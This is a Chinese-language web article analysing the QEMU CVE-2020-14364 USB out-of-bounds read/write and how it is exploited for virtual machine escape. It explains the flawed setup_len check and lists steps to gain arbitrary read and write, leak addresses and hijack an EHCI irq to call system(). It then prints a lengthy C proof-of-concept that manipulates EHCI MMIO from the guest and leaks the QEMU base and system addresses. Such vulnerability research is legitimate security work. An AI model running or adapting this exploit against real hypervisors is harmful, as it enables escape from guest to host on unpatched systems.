您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行QEMU CVE-2020-14364的漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
QEMU 簡介
QEMU(quick emulator)是一款由Fabrice Bellard等人編寫的免費的可執行硬件虛擬化開源托管虛擬機(VMM)。
QEMU的USB后端在實現USB控制器與USB設備通信時存在越界讀寫漏洞可能導致虛擬機逃逸。
USB總線通過創建一個USBpacket對象來和USB設備通信.
Usbpacket對象中包含以下關鍵內容
struct USBPacket { /* Data fields for use by the driver. */ int pid; uint64_t id; USBEndpoint *ep; .... };
其中 “pid” 表明 packet 的類型,存在三種類型 in、out、setup, ep指向endpoint對象,通過此結構定位目標usb設備.
數據交換為 usbdevice 中緩沖區的 data_buf 與 usbpacket 對象中使用 usb_packet_map 申請的緩沖區兩者間通過 usb_packet_copy 函數實現,為了防止兩者緩沖區長度不匹配,傳送的長度由 s->setup_len 限制
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; }
漏洞存在于s->setup_len賦值的過程do_token_setup中.
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; }
雖然進行了校驗,但是由于在校驗前,s->setup_len的值已經被設置導致之后的do_token_in或者do_token_out中使用usb_packet_copy時會產生越界讀寫漏洞.
1、泄露 USBdevice 對象的地址。
觀察越界可讀內容發現
struct USBDevice { ... uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */ const USBDescDevice *device; ...};
可以從下方的ep_ctl->dev獲取到usbdevice的對象地址.
2、 通過usbdevice的對象地址我們可以得到s->data_buf的位置,之后只需要覆蓋下方的setup_index為目標地址-(s->data_buf)即可實現任意地址寫。
3、我們還需要獲取任何地址讀取功能,setup_buf [0]控制寫入方向,并且只能由do_token_setup進行修改。 由于我們在第二步中使用了越界寫入功能,因此setup_buf [0]是寫入方向,因此只可以進行寫入操作,無法讀取。
繞過方法:設置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次將setup_index修改為要讀取的地址,以實現任意地址讀取
4、通過任意地址讀取 usbdevice 對象的內容以獲取 ehcistate 對象地址,再次使用任意地址讀取 ehcistate 對象的內容以獲取 ehci_bus_ops_companion 地址。 該地址位于程序data節區。 這時,我們可以獲得程序的加載地址和 system @ plt地址。也可以通過讀取usbdevice固定偏移位置后的usb-tablet對象來獲得加載地址。
5、在data_buf中偽造irq結構。
6、以偽造結構劫持ehcistate中的irq對象。
7、通過mmio讀取寄存器以觸發ehci_update_irq,執行system(“ xcalc”)。 完成利用。
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> unsigned char* mmio_mem; char *dmabuf; struct ohci_hcca * hcca; struct EHCIqtd * qtd; struct ohci_ed * ed; struct ohci_td * td; char *setup_buf; uint32_t *dmabuf32; char *td_addr; struct EHCIqh * qh; struct ohci_td * td_1; char *dmabuf_phys_addr; typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; typedef struct EHCIqh { uint32_t next; /* Standard next link pointer */ /* endpoint characteristics */ uint32_t epchar; /* endpoint capabilities */ uint32_t epcap; uint32_t current_qtd; /* Standard next link pointer */ uint32_t next_qtd; /* Standard next link pointer */ uint32_t altnext_qtd; uint32_t token; /* Same as QTD token */ uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqh; typedef struct EHCIqtd { uint32_t next; /* Standard next link pointer */ uint32_t altnext; /* Standard next link pointer */ uint32_t token; uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqtd; uint64_t virt2phys(void* p) { uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } void die(const char* msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t*)(mmio_mem + addr)); } void init(){ int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); mlock(dmabuf, 0x3000); hcca=dmabuf; dmabuf32=dmabuf+4; qtd=dmabuf+0x200; qh=dmabuf+0x100; setup_buf=dmabuf+0x300; } void init_state(){ mmio_write(0x64,0x100); mmio_write(0x64,0x4); qh->epchar=0x00; qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200); struct EHCIqtd * qtd; qtd=dmabuf+0x200; qtd->token=1<<7 | 2<<8 | 8<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x300); setup_buf[6]=0xff; setup_buf[7]=0x0; dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2; mmio_write(0x28,0x0); mmio_write(0x30,0x0); mmio_write(0x38,virt2phys(dmabuf)); mmio_write(0x34,virt2phys(dmabuf)); mmio_write(0x20,0x11); } void set_length(uint16_t len,uint8_t in){ mmio_write(0x64,0x100); mmio_write(0x64,0x4); setup_buf[0]=in; setup_buf[6]=len&0xff; setup_buf[7]=(len>>8)&0xff; qh->epchar=0x00; qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200); qtd->token=1<<7 | 2<<8 | 8<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x300); dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2; mmio_write(0x28,0x0); mmio_write(0x30,0x0); mmio_write(0x38,virt2phys(dmabuf)); mmio_write(0x34,virt2phys(dmabuf)); mmio_write(0x20,0x11); } void do_copy_read(){ mmio_write(0x64,0x100); mmio_write(0x64,0x4); qh->epchar=0x00; qh->token=1<<7; qh->current_qtd=virt2phys(dmabuf+0x200); qtd->token=1<<7 | 1<<8 | 0x1f00<<16; qtd->bufptr[0]=virt2phys(dmabuf+0x1000); qtd->bufptr[1]=virt2phys(dmabuf+0x2000); dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2; mmio_write(0x28,0x0); mmio_write(0x30,0x0); mmio_write(0x38,virt2phys(dmabuf)); mmio_write(0x34,virt2phys(dmabuf)); mmio_write(0x20,0x11); } int main() { init(); iopl(3); outw(0,0xc0c0); outw(0,0xc0e0); outw(0,0xc010); outw(0,0xc0a0); sleep(3); init_state(); sleep(2); set_length(0x2000,0x80); sleep(2); do_copy_read(); sleep(2); struct USBDevice* usb_device_tmp=dmabuf+0x2004; struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); uint64_t dev_addr=usb_device.ep_ctl.dev; uint64_t *tmp=dmabuf+0x24f4; long long base=*tmp; if(base == 0){ printf("INIT DOWN,DO IT AGAIN"); return 0; } base-=0xee5480-0x2668c0; uint64_t system=base+0x2d9610; puts("\\\\\\\\\\\\\\\\\\\\\\\\"); printf("LEAK BASE ADDRESS:%llx!\n",base); printf("LEAK SYSTEM ADDRESS:%llx!\n",system); puts("\\\\\\\\\\\\\\\\\\\\\\\\"); }
關于如何進行QEMU CVE-2020-14364的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。